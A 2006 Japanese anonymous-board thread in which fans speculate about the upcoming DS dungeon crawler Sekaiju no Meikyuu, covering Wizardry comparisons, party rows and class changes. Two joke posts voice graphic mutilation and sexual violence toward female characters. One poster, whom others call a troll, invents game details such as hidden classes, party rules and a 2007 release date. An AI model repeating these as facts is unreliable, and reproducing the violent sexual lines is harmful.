ぶっちゃけこんなオタ向けのキャラゲーを買って何が楽しいんだ?

まあ俺も買うわけだがw

140 :枯れた名無しの水平思考:2006/09/16(土) 03:40:21 ID:xq56EHa+O
すごく欲しいなとは思うんですけどなんか難しそう…
wizとかメガテンとかやったことないんですけど順応できますかね?

141 :枯れた名無しの水平思考:2006/09/16(土) 03:42:25 ID:9rOnR6Gk0
その手の質問は発売してからにした方がええよ
それが何時になるか決まってないのが何ともなぁw

142 :枯れた名無しの水平思考:2006/09/16(土) 03:43:02 ID:en1H1eXk0
同じアトラスのP3やってみれ。
あれが行けたらこのゲームも行ける。

143 :枯れた名無しの水平思考:2006/09/16(土) 03:47:02 ID:QSjenUwZ0
P3とは全然ちがくね?

144 :枯れた名無しの水平思考:2006/09/16(土) 03:48:10 ID:P5fAQVRH0
P3じゃなくてBUSIN0とかXTH2が楽しめたらいけると思う。
P3はランダムダンジョンだし戦闘システムも違いすぎる。

145 :枯れた名無しの水平思考:2006/09/16(土) 03:48:39 ID:en1H1eXk0
かなり違うがゲームのレベルや質感はかなり共通してるし。

146 :枯れた名無しの水平思考:2006/09/16(土) 04:11:12 ID:P5fAQVRH0
新納氏のインタビューにwizを今のアトラスで一から作った形が世界樹だそうだ
新作かつ開発部署が違うP3と世界樹とではえらく違うと思うのですが。
ゲームのレベルや質感とかあいまいな事を言われても理解に苦しむ。

147 :枯れた名無しの水平思考:2006/09/16(土) 04:17:45 ID:/8jy6mPn0
>>145
スタッフの方ですか?
違うなら何を持って「共通してる」と言い切っているのでしょうか。
システムの情報はまだ殆どないのに。

148 :枯れた名無しの水平思考:2006/09/16(土) 04:46:37 ID:VfEXB6TRO
>>146
その発言は後に撤回されている。
期待はずれだからその話持ち出すのやめような。

149 :枯れた名無しの水平思考:2006/09/16(土) 04:54:46 ID:igIOoJtDO
・スターホーン
冒険者の集う宿、五竜亭の名物騎士フンバルト=ヘーデルホッヘの魂の愛剣で、
様々な怪物や障害をばっさばっさと斬り伏せてきた名剣(フンバルト談)
これを手にしている時のフンバルトはプライドが高く勇猛な(猪突猛進な)騎士なのだが、
取り上げられると気弱な髭親父になってしまう事から、彼の気高き魂そのものだという説もある。

150 :枯れた名無しの水平思考:2006/09/16(土) 05:02:49 ID:/8jy6mPn0
ブッフハルトだかなんだか知らんが世界樹の迷宮に関係あんの?

151 :枯れた名無しの水平思考:2006/09/16(土) 05:06:31 ID:sOJQBL+fO
スキルの詳細だけでも知りたい
何に特化させるか妄想したい

152 :枯れた名無しの水平思考:2006/09/16(土) 08:38:08 ID:T9FaL/uDO
P3とレベルが同じとかはわからんけど
何か一つアトラスのRPGを経験しておくのは参考になると思うべ。
ノクターンでもP3でも。

153 :枯れた名無しの水平思考:2006/09/16(土) 08:40:17 ID:wZbf9xjkO
はぁ〜ん!カースメイカー♀タソとチュチュしたいよぉ〜

154 :枯れた名無しの水平思考:2006/09/16(土) 09:25:53 ID:Jj3ipQ3O0
俺は楽しみにしてるのと同じタイプのRPGはやんない方がいいと思う派。
期間が空けば空いただけ楽しく感じる。

155 :枯れた名無しの水平思考:2006/09/16(土) 10:34:03 ID:T3AsJz7f0
はぁ〜ん!メディック♀タソの四肢切断したいよぉ〜

156 :枯れた名無しの水平思考:2006/09/16(土) 10:38:27 ID:sOJQBL+fO
そんな、もったいない

157 :枯れた名無しの水平思考:2006/09/16(土) 10:41:49 ID:2WBjJeba0
はぁ〜ん!バード♂タソとパラディン♂タソと一緒に秘密基地を作って好きな女子の話で盛り上がりたいよぉ〜

158 :枯れた名無しの水平思考:2006/09/16(土) 11:07:21 ID:DMuQIEb+O
ソードマン♀タンにコーヒーをいれて午後の一時を過ごし、「こんなまどろっこしいことやってられるか!」とちゃぶ台返しされたい

159 :枯れた名無しの水平思考:2006/09/16(土) 12:27:13 ID:T9FaL/uDO
チュチュスレを活用してあげてください

160 :枯れた名無しの水平思考:2006/09/16(土) 13:11:15 ID:299eif0k0
お前らこんな事してないで早く保護シールに方眼を書き込む仕事に戻るんだ

161 :枯れた名無しの水平思考:2006/09/16(土) 13:31:36 ID:/5jiR8tX0
これ、キャラメイクじゃなくて、元からあるキャラクターに名前つけるだけじゃね?
全く絵を無視して見ないことにして、メイクするって変人もいるみたいだけど。

162 :枯れた名無しの水平思考:2006/09/16(土) 13:34:47 ID:OQ6fKT9b0
>>161
ははは、そんな馬鹿な…

163 :枯れた名無しの水平思考:2006/09/16(土) 13:37:41 ID:ljJ55Mq20
白髪混じりのベテラン剣士

とか作れないわな

164 :枯れた名無しの水平思考:2006/09/16(土) 13:40:15 ID:rowEG/S10
>>161
そういう話はこっちでいい>>3

165 :枯れた名無しの水平思考:2006/09/16(土) 13:43:31 ID:ljJ55Mq20
キャラデザ自体は好きなんだけどな。
NPCのグラはとてもいい

166 :枯れた名無しの水平思考:2006/09/16(土) 13:52:15 ID:OFh/16M00
で、キャラメイクってどうやるんだ?

wizみたいにボーナス割り振り?
でも転職、種族がない時点でそれはないか。
職業選択→性別選択→名前→(あるなら)若干のボーナスで割り振り
で終わりかな。

167 :枯れた名無しの水平思考:2006/09/16(土) 13:53:37 ID:/5jiR8tX0
>>162
だって、固定の絵があればそいつに名前をつけるって感覚じゃね?
>50とかさ。そういう感覚でしょ。

>>163
そうだね。
でも、絵を見ないことにしたら出来るらしいよ。
もはや、それはゲームに求めてる物が違う気がするけどね。

>>164
えー、アンチスレなんかでまともな意見をもらえるのか?

168 :枯れた名無しの水平思考:2006/09/16(土) 14:02:39 ID:9rOnR6Gk0
作成時は職業依存の性能かも知れんとはオモタ。
その後の成長は割り振り型と確定してる、はず。

169 :枯れた名無しの水平思考:2006/09/16(土) 14:08:34 ID:DMuQIEb+O
>167
そうでもない
グラフィックが出るか出ないか、オンオフ可能かにも寄るが、イラストはあまり気にしない方が普通
ウィザードリィは後期になるとイラストついてるが、そんなの気にしてる人はほとんどいない
アスタリスクがいい例

170 :枯れた名無しの水平思考:2006/09/16(土) 14:08:35 ID:rowEG/S10
>>167
まともな意見がもらえるかもらえないかではなく、
キャラデザの話についてはあっちのスレでするということがスレ住人の総意によって決まっているから

171 :枯れた名無しの水平思考:2006/09/16(土) 14:13:59 ID:T9FaL/uDO
だってループしすぎなんだもん。キャラデザ云々の話。

172 :枯れた名無しの水平思考:2006/09/16(土) 14:15:12 ID:T3AsJz7f0
微妙にキャラデザの話ではないと思うのは俺だけかな
というか軽々に総意とか言っちゃうのはどうかと思うよ

173 :枯れた名無しの水平思考:2006/09/16(土) 14:16:18 ID:Q2WQ3XpT0
総意です。

174 :枯れた名無しの水平思考:2006/09/16(土) 14:16:53 ID:cmXK0SWq0
残念、総意じゃないな。

175 :枯れた名無しの水平思考:2006/09/16(土) 14:21:56 ID:ihxiBA1e0
またこの流れか

176 :枯れた名無しの水平思考:2006/09/16(土) 14:24:39 ID:r6aS9rOm0
このゲームって前衛と後衛の数は固定かな?
SS見る限り前3:後2しかないけど、どうなんだろ?
PTを妄想してるんだが、後衛を3人にしたいんだよなぁ。

177 :枯れた名無しの水平思考:2006/09/16(土) 14:27:59 ID:rowEG/S10
書いといてなんだがスレ住人の線引きが曖昧だったな
法律でも何でも、総意と書かれていて総意だったためしがないからその程度だと考えてくれ
スレ汚しスマン

>>172
>>161の>元からあるキャラクターに名前つけるだけじゃね?
を、キャラ絵なんかつけるんじゃねーよと言う意味で言ってるのかと思ったら
素でそう思っていたという俺の勘違いだ

178 :枯れた名無しの水平思考:2006/09/16(土) 14:29:20 ID:1wjMgClO0
前衛・後衛の数くらいは変えられるんじゃないかな?
パーティの幅狭めちゃうようなことはしないと思うし。

179 :枯れた名無しの水平思考:2006/09/16(土) 14:40:03 ID:sOJQBL+fO
単に画面幅の都合で別れてるだけで、
前衛・後衛の判定はドラクエ式(先頭は狙われやすい)
というオチ

180 :枯れた名無しの水平思考:2006/09/16(土) 14:41:33 ID:cmXK0SWq0
1人のパラディンに4人のバードが後ろから応援するマヌケパーティがあってもいいと思うが、
もし2:3があっても4:1・1:4は無さそうだな。

181 :枯れた名無しの水平思考:2006/09/16(土) 14:47:21 ID:1wjMgClO0
リーチの概念はないのかな?
後列はロングレンジ武器か魔法?のようなものじゃないと攻撃できないとか。

182 :枯れた名無しの水平思考:2006/09/16(土) 14:59:33 ID:8YfSsZYi0
もしあったとして、1:4のパーティーはバックアタック(あれば)されたら大変な事になりそうw

>>181
武器の違いは職業ごとの固定スキルにかかわる感じだと思ってたから
リーチの概念は無いんじゃないかと思ってた。


183 :枯れた名無しの水平思考:2006/09/16(土) 15:18:45 ID:DMuQIEb+O
戦いなんてくだらねえぜ!
俺の歌を聞けーーーっ!

184 :枯れた名無しの水平思考:2006/09/16(土) 15:40:48 ID:AAe+YQ9tO
愛・覚えていますか

185 :枯れた名無しの水平思考:2006/09/16(土) 15:56:49 ID:6F5K3+IIO
私の彼はパ〇〇。〇

186 :枯れた名無しの水平思考:2006/09/16(土) 16:15:56 ID:/5jiR8tX0
>>184
いや、僕、味おぼえています!

187 :枯れた名無しの水平思考:2006/09/16(土) 16:22:17 ID:/5jiR8tX0
SOS団パーティだと、どのキャラにどの役をやらせる?

188 :枯れた名無しの水平思考:2006/09/16(土) 16:24:16 ID:T9FaL/uDO
レンジャーなんかは弓も剣もいけるから
前衛後衛両方いけそーだ。
鞭はどうかなー。後衛からは無理かね。
いけたらダクハンが強すぎか。

189 :枯れた名無しの水平思考:2006/09/16(土) 16:44:40 ID:T9FaL/uDO
SOS団を知ってる前提で話をするなーーー!!!!









長門はカースメーカー♀。

190 :枯れた名無しの水平思考:2006/09/16(土) 16:44:46 ID:j11n3AXZ0
>>187
禿しく既出

191 :枯れた名無しの水平思考:2006/09/16(土) 16:49:02 ID:cmXK0SWq0
ダークハンターが後衛から部位破壊可能だとカースメイカーいらなくなってしまう。

192 :枯れた名無しの水平思考:2006/09/16(土) 17:23:26 ID:UWpOVz4Q0
>>187
キョン・メディック
ハルヒ・ソードマン
みくる・パラディン
長門・カースメーカー
古泉・バード
で考えてるけど長門と古泉の名前を
どう入力するかで迷ってる

193 :枯れた名無しの水平思考:2006/09/16(土) 17:32:19 ID:Tbwl8eYH0
はぁ〜ん!カースメイカー♀タソの眼球くり抜いて眼窩に精液をドップリと注ぎこみたいよぉ〜

194 :枯れた名無しの水平思考:2006/09/16(土) 17:37:21 ID:lG1Ue3k00
>>193
ショッキングにも程がある

195 :枯れた名無しの水平思考:2006/09/16(土) 17:41:48 ID:DMuQIEb+O
そのつっこみ面白すぎるぞ

196 :枯れた名無しの水平思考:2006/09/16(土) 17:41:54 ID:a93qlWSC0
はぁ〜ん!カースメイカー♀タソとおしくらまんじゅうしてえよぉ〜

197 :枯れた名無しの水平思考:2006/09/16(土) 17:45:49 ID:JsD4sfTM0
カースメーカーは後衛版のダークハンターじゃないかね。
火力がないけどおそろしく状態異常ができるとか、そういう。
エクスタシーが主戦術のパーティだとダークハンターとコンビ組みそうな気配。

198 :枯れた名無しの水平思考:2006/09/16(土) 17:51:29 ID:yFdGgi/A0
それにしてもこのスレ本当流れ速いなw

199 :枯れた名無しの水平思考:2006/09/16(土) 17:51:52 ID:cmXK0SWq0
>>197
今までカースメイカーをどんな職だと思ってたの?

200 :枯れた名無しの水平思考:2006/09/16(土) 18:05:08 ID:T9FaL/uDO
みんな!チュチュスレを使うんだ!

201 :枯れた名無しの水平思考:2006/09/16(土) 18:10:41 ID:a93qlWSC0
転職できない時点で、このゲームはWizには到底及ばない。

202 :枯れた名無しの水平思考:2006/09/16(土) 18:13:24 ID:1wjMgClO0
そうだねプロテインだね

203 :枯れた名無しの水平思考:2006/09/16(土) 18:15:29 ID:a93qlWSC0
製作者はおこがましくもWizを引き合いに出すなら転職はカットすべきではなかった。

204 :枯れた名無しの水平思考:2006/09/16(土) 18:18:41 ID:T9FaL/uDO
ダークハンターって縛り状態に出来る前衛って以外に大して情報がないな。
縛り以外になんか特徴はねーのか。(ソードマンとかもっと特徴ないけど)
今のところ、縛ってエクスタシーと縛って敵を生きたまま捕獲(こっちはまだ確定ではない?)だけか。


205 :枯れた名無しの水平思考:2006/09/16(土) 18:21:19 ID:B9vXXKuu0
依頼にマモノ捕獲は少なめにしてほしかったり。
メディックとレンジャーが必須気味なのにダークハンターまで必須にされるのは困る。

捕獲したマモノは売って金にできるとか汎用的なものであってくれ。

206 :枯れた名無しの水平思考:2006/09/16(土) 18:24:20 ID:/5jiR8tX0
>>200
そういや、チュチュスレにリンク貼ってないな。
次スレからは頼むぜ。

>189 192
やっぱり長門はカースメイカーで鉄板だよな。
俺もキョンはメディックかな、思ってた。
他にちょっと悩んでた

207 :枯れた名無しの水平思考:2006/09/16(土) 18:26:09 ID:asi8Z+Sk0
必須かどうかはこっち側が決める(縛る)ことで。
依頼内容等によって柔軟にパーティを入れ替えたほうがやり易い、ということじゃないか。
インタビューにもあったようにそれをしないのも可能だが、それなりに難しくなると。
全て呑んだ上で編成決めればよかろう。

208 :枯れた名無しの水平思考:2006/09/16(土) 18:34:05 ID:58fhFDB60
まぁキャラ紹介のあの書き方だと実際に敵を捕獲できたりする仕様が
ゲーム内で搭載されてるかわかんないけどね。
ただの設定だけかも知れないし。
マリオの配管工という設定がゲーム内で活かされてないのと同様に。

209 :枯れた名無しの水平思考:2006/09/16(土) 18:39:19 ID:sg+1Gqxj0
土管に入れるじゃん。

210 :枯れた名無しの水平思考:2006/09/16(土) 18:45:14 ID:VfEXB6TRO
>203
このゲームは職業にキャラクター当てはめてんだから、転職できたらマズいだろ。
別人になっちまう。

WIZとは別物。

211 :枯れた名無しの水平思考:2006/09/16(土) 18:49:51 ID:DMuQIEb+O
そうだな
いつの間にかナイトが剣になってたら困るもんな

212 :枯れた名無しの水平思考:2006/09/16(土) 18:54:06 ID:d6KkMF/A0
転職出来ない分色んなスキルが腐る程用意されてるんだよな?そうだよな?

213 :枯れた名無しの水平思考:2006/09/16(土) 18:58:35 ID:58fhFDB60
チュチュスレはっておく

世界樹の迷宮のカースメーカー♀たんは呪術カワイイ
ttp://game10.2ch.net/test/read.cgi/pokechara/1157007206/l50

今気付いたけど、チュチュなんてスレタイに使われてなかったのな

214 :枯れた名無しの水平思考:2006/09/16(土) 18:58:38 ID:asi8Z+Sk0
転職がないことに何の問題があるんだか。

215 :枯れた名無しの水平思考:2006/09/16(土) 19:03:58 ID:DMuQIEb+O
「制作者」が「Wizを引き合いに出す」
につっこむべき

216 :枯れた名無しの水平思考:2006/09/16(土) 19:05:03 ID:d6KkMF/A0
>>214
キャラメイクが肝なんだから気にするだろ

217 :枯れた名無しの水平思考:2006/09/16(土) 19:15:38 ID:asi8Z+Sk0
マップデザインとマップ内ギミックのほうが重要だ。
職業は各個の合理的な使い方さえ掴めればどうでもいい。

218 :枯れた名無しの水平思考:2006/09/16(土) 19:16:11 ID:5+NlqsVU0
>>216
スキル制なんだし転職でスキル引継ぎとか出来たら万能キャラ作れちゃうじゃないか
複数のキャラを使い分けるのが肝なんだし

219 :枯れた名無しの水平思考:2006/09/16(土) 19:16:43 ID:ljJ55Mq20
キャラを道具としてみるか思い入れ強く育てるかによっても感じ方変わるな

220 :枯れた名無しの水平思考:2006/09/16(土) 19:21:26 ID:DMuQIEb+O
でも個人的には転職って『最強』を作るには適してるけど、キャラへの想い入れは逆に減少すると思うんだ

221 :枯れた名無しの水平思考:2006/09/16(土) 19:22:49 ID:cmXK0SWq0
個人的にとは言うが、それはほんと人によるわな。

222 :枯れた名無しの水平思考:2006/09/16(土) 19:25:44 ID:DMuQIEb+O
>221に何をつっこまれたのか分からない

223 :枯れた名無しの水平思考:2006/09/16(土) 19:28:53 ID:cmXK0SWq0
くだらない私見ですね、って言ったんだよ。

なぜ転職あると思い入れが減少するのか。
「歴戦の英雄」だの「三日坊主」だののキャラを作りたい人だっているだろうに。

224 :枯れた名無しの水平思考:2006/09/16(土) 19:29:56 ID:Tbwl8eYH0


225 :枯れた名無しの水平思考:2006/09/16(土) 19:31:08 ID:rowEG/S10
>>222
転職があった方がずっと同じキャラを使うから愛着がわくって人もいるだろうってことさ

だけどそんなに転職したいのなら毎回お決まりのセリフだがWizをやれってこったな

226 :枯れた名無しの水平思考:2006/09/16(土) 19:32:49 ID:DMuQIEb+O
いや、だから『個人的には』と注釈した訳だが
まあいいんだけどさ

227 :枯れた名無しの水平思考:2006/09/16(土) 19:41:06 ID:cmXK0SWq0
そんなしょうもない立場表明はチラシの裏にでも書けということ。
まあいいけどさ

228 :枯れた名無しの水平思考:2006/09/16(土) 19:46:24 ID:DMuQIEb+O
いやちょっと待て
転職無いからキャラメイク性低いっていう意見に反論として、こういう考えもあるよっていう意見として提示したんだぞ

229 :枯れた名無しの水平思考:2006/09/16(土) 19:48:23 ID:T9FaL/uDO
書き込まれたレスの9割りはしょうもない立場表明みたいなもんだろ。
何が好きだの俺はこうするだの。

230 :枯れた名無しの水平思考:2006/09/16(土) 19:48:25 ID:yFdGgi/A0
お前の意見などどうでも良い

231 :枯れた名無しの水平思考:2006/09/16(土) 19:54:30 ID:rowEG/S10
ここから話題が宇田の更新の話に↓

232 :枯れた名無しの水平思考:2006/09/16(土) 19:56:39 ID:1jfJzlmO0
なんくるないさーは魔法の言葉

233 :枯れた名無しの水平思考:2006/09/16(土) 20:16:41 ID:VfEXB6TRO
>>214
むしろ、上でも書いたけど、ある方が問題。

このゲーム、職業名も既存の物と被らないようにしてる独自色を出そうとしているし、固有のイメージを持たせたいんだと思う。

234 :枯れた名無しの水平思考:2006/09/16(土) 20:18:28 ID:LSVjt0WN0
FF3とFF5のジョブの違いみたいなもんか

235 :枯れた名無しの水平思考:2006/09/16(土) 20:36:26 ID:Cp0+xtE+0
最初から選べない職でもない限り転職なんてイラン。

236 :枯れた名無しの水平思考:2006/09/16(土) 21:06:14 ID:VfEXB6TRO
もういい加減wiz、wizウザいからテンプレに入れちまおうぜ

237 :枯れた名無しの水平思考:2006/09/16(土) 21:07:52 ID:58fhFDB60
メンバーを適時入れ替えでやっていくならバランス型より
特化型の方が便利だよなぁこういうの。というかMMO。
パラディン体力全振りとか。
でもこのゲームだと素早さも必要そうだよね。
かばう前に攻撃されたらマヌケだし。
一方メンバー固定派なら特化よりバランスよく振った方が無難なんだろうな。

238 :枯れた名無しの水平思考:2006/09/16(土) 21:32:15 ID:SVa0jnGM0
>>236
Q.Wizの何々が云々〜
A.黙れ、買うな。これはWizじゃない。Wizを語りたきゃWizスレで勝手にオナヌーしてこい。

239 :枯れた名無しの水平思考:2006/09/16(土) 21:37:13 ID:mdGM36WsP
ヲタはヲタ絵に異常反応するな。

240 :枯れた名無しの水平思考:2006/09/16(土) 21:39:14 ID:ynHrgfYR0
ブシドーを極めてほとんどのザコを瞬殺
調子こいてるところで強いやつが出て来て殺される

そんなゲームだといいな

241 :枯れた名無しの水平思考:2006/09/16(土) 21:41:18 ID:B9vXXKuu0
敢えて一人旅とか計画してるヤツも居るんだろうなあ

242 :枯れた名無しの水平思考:2006/09/16(土) 21:48:11 ID:SznoGJvr0
5人パーティー必須ですが何か
同じ職業を複数人パーティーに入れることもできませんが何か

243 :枯れた名無しの水平思考:2006/09/16(土) 21:49:59 ID:58fhFDB60
>>242
何かといわれても困るけどとりあえずそれは
お前のプレイスタイルなのかそれといもシステム的にそういう仕様だということを言っているのか
だけ聞いておこう

244 :枯れた名無しの水平思考:2006/09/16(土) 21:50:24 ID:sOJQBL+fO
さすがにいきなり一人旅は無謀だろ

レンジャー一人で逃走プレイやってみるか

245 :枯れた名無しの水平思考:2006/09/16(土) 22:00:24 ID:SznoGJvr0
>>243
顔グラが一種類ずつしか用意されていないということは、
同じ職業をダブってパーティーに入れるということは出来ない。
ただし男女用意してあるから性別が違えばOK

組むことが可能な例
ブシドー♂
フシドー♀
カースメイカー♀
カースメイカー♂
メディック♀

組めない例1
バード♂
バード♂
バード♂
バード♂
バード♂

組めない例2
ソードマン♂

※「あと4人メンバーを選んでください!」というアラート表示が出る

246 :枯れた名無しの水平思考:2006/09/16(土) 22:03:51 ID:58fhFDB60
本当ですか!!それは知りませんでした><

247 :枯れた名無しの水平思考:2006/09/16(土) 22:04:44 ID:ihxiBA1e0
とりあえず
4人PTのSSがあったのは気のせいだっけか

248 :枯れた名無しの水平思考:2006/09/16(土) 22:05:14 ID:58fhFDB60
>>247
シッ!それは言っちゃダメです><

249 :枯れた名無しの水平思考:2006/09/16(土) 22:07:48 ID:asi8Z+Sk0
ファミ通の第一報の記事か。>>6参照。

250 :枯れた名無しの水平思考:2006/09/16(土) 22:08:02 ID:SznoGJvr0
>>247
一回5人パーティーを組んで、そのうちのメンバーが死ねば
表面上は4人パーティーになったりする
そのSSもそういうことだ

251 :枯れた名無しの水平思考:2006/09/16(土) 22:10:03 ID:mswL6eWL0
メンバーが死んでるSSがあったのは気のせいだっけか

252 :枯れた名無しの水平思考:2006/09/16(土) 22:10:40 ID:SznoGJvr0
>>251
死んだ瞬間はそういうSSも撮れるだろう

253 :枯れた名無しの水平思考:2006/09/16(土) 22:10:41 ID:OQ6fKT9b0
>>251
シッ!それも言っちゃダメです><

254 :枯れた名無しの水平思考:2006/09/16(土) 22:13:59 ID:jjRiXl5EO
>>250
ってことは、初期作成の弱キャラを入れてわざと殺すようにすれば
疑似的な一人〜四人旅ができるってことですな。
やあ、まったくもって無問題だ。

255 :枯れた名無しの水平思考:2006/09/16(土) 22:15:38 ID:gNWHLdD10
あえて言おう


242必死だな

256 :枯れた名無しの水平思考:2006/09/16(土) 22:15:48 ID:58fhFDB60
おいおまいら・・・、これもしかして宇田が降臨したんじゃね・・・?

257 :枯れた名無しの水平思考:2006/09/16(土) 22:22:46 ID:vF/h8OSV0
あるあ・・・・ねーよwwwwwwwwwww

258 :枯れた名無しの水平思考:2006/09/16(土) 22:22:51 ID:SznoGJvr0
他のメンバーが死んだままで旅をすることは可能だが
取得する経験値がその分増えるわけではない。

例えばモンスターを5人で倒して1000の経験値が得られれば
それは5人で割って一人あたり200もらえる。

だが1人でそのモンスターを倒しても
もらえる経験値は200だ。
残りの800は死んでいるメンバーに割り振られる(ただし1/4程度なので一人当たり40くらい)

死んでいても経験値が多少もらえるシステムは画期的だが
全体的には効率は良くないと言える

259 :枯れた名無しの水平思考:2006/09/16(土) 22:24:50 ID:sOJQBL+fO
よう ひさしぶり

260 :枯れた名無しの水平思考:2006/09/16(土) 22:24:53 ID:SVa0jnGM0
どこを縦読み?

261 :枯れた名無しの水平思考:2006/09/16(土) 22:25:28 ID:bgXvnq+n0
全ての答えはボンボエリイカ虫や。

262 :枯れた名無しの水平思考:2006/09/16(土) 22:27:42 ID:asi8Z+Sk0
ボンボエリカ虫な。

263 :枯れた名無しの水平思考:2006/09/16(土) 22:28:09 ID:bgXvnq+n0
イが入ってた(´・ω・`)
もうおしまいだ・・・

264 :枯れた名無しの水平思考:2006/09/16(土) 22:36:04 ID:SznoGJvr0
職業が9あって、それが男女別々にあって、
それでいてキャラ作成は20人まで・・・
おや、計算が合わないな?と思うだろう?

隠し職業が二つあるということです。
男専用、女専用。

男・・・ドラゴナイト
女・・・キャットファイター

265 :枯れた名無しの水平思考:2006/09/16(土) 22:36:19 ID:gNWHLdD10
キャラのシルエット切り替えはありますか?

266 :枯れた名無しの水平思考:2006/09/16(土) 22:38:29 ID:SznoGJvr0
>>265
ないです。
あのデザインのグラフィックが売りですから。
それを消すなんてとんでもない!
元々はすべてのキャラに名前もつけられていましたが、
さすがに自由度を損なうという理由で
名前はプレイヤーの任意でつけられるようになりました

267 :枯れた名無しの水平思考:2006/09/16(土) 22:41:52 ID:IpXaOe9S0
ID:SznoGJvr0 は捏造インタビューの奴か? 面白くないところがそっくりだが

268 :枯れた名無しの水平思考:2006/09/16(土) 22:43:26 ID:SznoGJvr0
>>267
面白くないなら買わなければいい
そんなこと言って本当は期待してるんだろ?
安心しろ
このゲームは面白い

269 :枯れた名無しの水平思考:2006/09/16(土) 22:44:33 ID:mPjo5nYe0
ゲームじゃなくてレスが(ry

270 :枯れた名無しの水平思考:2006/09/16(土) 22:47:53 ID:SznoGJvr0
>>269
レスだけじゃなくてゲームも面白いってば
情報が少ないからみんなもイライラし始めてる
開発側もそのことに気を揉んでる

発売日・・・気になるだろ?

271 :枯れた名無しの水平思考:2006/09/16(土) 22:51:41 ID:sOJQBL+fO
そうだな

じゃあラーメンでも食いに行こうぜ

272 :枯れた名無しの水平思考:2006/09/16(土) 22:52:30 ID:SznoGJvr0
おっけー

俺バターとコーン入れていい?

273 :枯れた名無しの水平思考:2006/09/16(土) 22:52:43 ID:mgvHjUcx0
さっさとNGに放り込め

274 :枯れた名無しの水平思考:2006/09/16(土) 22:54:09 ID:SznoGJvr0
ID:mgvHjUcx0

了解しました

275 :枯れた名無しの水平思考:2006/09/16(土) 22:54:36 ID:lG1Ue3k00
NGラーメンとはまた斬新な

276 :枯れた名無しの水平思考:2006/09/16(土) 22:56:22 ID:1uH1TsKD0
とりあえずお前ら、カースメーカなのかカースメイカーなのかはっきりしてくれないか?


277 :枯れた名無しの水平思考:2006/09/16(土) 22:57:32 ID:SznoGJvr0
発売日はみんなも信じたくないし受け入れられないだろうけど
10月ではありません
どうして延びてしまったのかは伏せておきますが・・・

2007年初春

とだけキーワードを書いておき、華麗に去ろう

278 :枯れた名無しの水平思考:2006/09/16(土) 22:58:30 ID:mFxleLnS0
逃げやがった

279 :枯れた名無しの水平思考:2006/09/16(土) 22:59:05 ID:mswL6eWL0
>>276
暫定的にカスメと呼んどけ
そのうちスーパーファミコンみたいに略称が正式名称になるかもしれんぞ

280 :枯れた名無しの水平思考:2006/09/16(土) 23:00:03 ID:sOJQBL+fO
ソードマンがどんなスキルを持ってるのか気になった

281 :枯れた名無しの水平思考:2006/09/16(土) 23:01:16 ID:sOJQBL+fO
>>276
英語表記しとけばいいんじゃね?

282 :枯れた名無しの水平思考:2006/09/16(土) 23:02:34 ID:gNWHLdD10
依頼の内容はランダムに自動作成されるものですか?すべて固定依頼ですか?

283 :枯れた名無しの水平思考:2006/09/16(土) 23:07:06 ID:SVa0jnGM0
  カ ー ス メ ー カー
 俺   の   嫁

284 :枯れた名無しの水平思考:2006/09/16(土) 23:08:44 ID:jIiqx5DS0
どうでもいいから早くダンジョンマップをかきかきしたいです

285 :枯れた名無しの水平思考:2006/09/16(土) 23:23:55 ID:Laoqr8Cb0
curse maker(M)
curse maker(F)

286 :枯れた名無しの水平思考:2006/09/16(土) 23:29:07 ID:ZrG+eut30
カースメーカーちゃんってなんでそんなに人気なの?
病んでる子っぽいのがみんな好きなの?ぺそみちゃんみたいなかんじ?

287 :枯れた名無しの水平思考:2006/09/16(土) 23:34:38 ID:ft385Lm70
単に慣らされただけだよ。

288 :枯れた名無しの水平思考:2006/09/16(土) 23:37:58 ID:ihxiBA1e0
人気というか悪乗りというか

289 :枯れた名無しの水平思考:2006/09/16(土) 23:41:52 ID:sOJQBL+fO
実際にはバッドステータス無効の敵が多く、一転して不人気職に

なんてことにならなきゃいいが

290 :枯れた名無しの水平思考:2006/09/16(土) 23:47:15 ID:T9FaL/uDO
ソードマンのスキルはどんなだろうな。
アタッカーとしての単体高ダメージの技はあるだろうけど。
パラディンの劣化版みたいなスキルもあるか?盾持ってるし。
ある意味ソードマンが1番謎だ。
前衛バランス型っぽいけどそれ以外に特徴が掴めん。

291 :枯れた名無しの水平思考:2006/09/17(日) 00:12:37 ID:r8mfD9nw0
HFOみたいな感じだろうな。

292 :枯れた名無しの水平思考:2006/09/17(日) 00:23:36 ID:2NGpSxEc0
>>290
育て方によってはどんなステにもなると信じてる

293 :枯れた名無しの水平思考:2006/09/17(日) 00:29:24 ID:HMQuX8BW0
これ、普通のターン制バトル?
キャラ(性能)の個性語ってる人いるけど、そんな大差ないんじゃない?と思う。
なんつうか、そんなに戦略的で個性的なはずないよなー・・、ていうか、
ちょっといくらなんでも現実的にありえないんじゃないかなー・・ていうか・・・

あ、ただ単に夢のRPGを語って楽しんでるだけなんだよね。失礼しました。


294 :枯れた名無しの水平思考:2006/09/17(日) 00:31:53 ID:HMQuX8BW0
>>213
次スレからはチュチュカワイイに改題だな。

295 :枯れた名無しの水平思考:2006/09/17(日) 00:40:57 ID:2jBkdK1iO
ソードマンは扱える武器が多くて、どの武器のスキルを伸ばすかでスタイルがかわる、とかなら面白そうなんだが。

296 :枯れた名無しの水平思考:2006/09/17(日) 00:41:59 ID:9N3y6Dkx0
>293
ターン制バトルとキャラ性能は関係なくね?

297 :枯れた名無しの水平思考:2006/09/17(日) 00:43:39 ID:7jd8zVd80
>>293
失礼だと思うのなら書き込まなければいいのに、と思った
そして最近のつまらないRPGしかやったことないんだろうなと思った

298 :枯れた名無しの水平思考:2006/09/17(日) 00:56:03 ID:GSx2LrvC0
いや、最近のヌルRPGだろうがなんだろうが、キャラに個性無いRPGなんて探すほうが大変

299 :枯れた名無しの水平思考:2006/09/17(日) 01:45:13 ID:EMU0GUgj0
魔法撃てるか撃てないかだけでも十分個性あるんじゃないの?
その中で更に攻撃系とか補助系に分かれてるわけだし。
流石に戦略とかにTRPGやらPBMレベルの融通が利くと思ってる人なんていないでしょ。

300 :枯れた名無しの水平思考:2006/09/17(日) 01:55:22 ID:HMQuX8BW0
>>295
キャラごとにスキルとかあるの?


だってさ、結局キャラ性能なんてったかて、敵に与えるダメージが大きいか少ないかでしょ。
そんなに沢山個性的に有り得るの?

そりゃあ・・、俺だって現実にはバカバカ大技の打ち合いじゃない駆け引きがあるってのはわかる、
色んな格闘スタイルがあって、それをゲームにフィードッバックしたら・・、なんて夢想したりもする。
間合いが合ったり、素早さがあったり
けど、結局RPGのターン性バトルって1ターン単位でしかありえないじゃん。
そんな技一発叩き込むまでに何ターンもかけれないでしょ。
大技出す、回復する、その繰り返しでしょ。

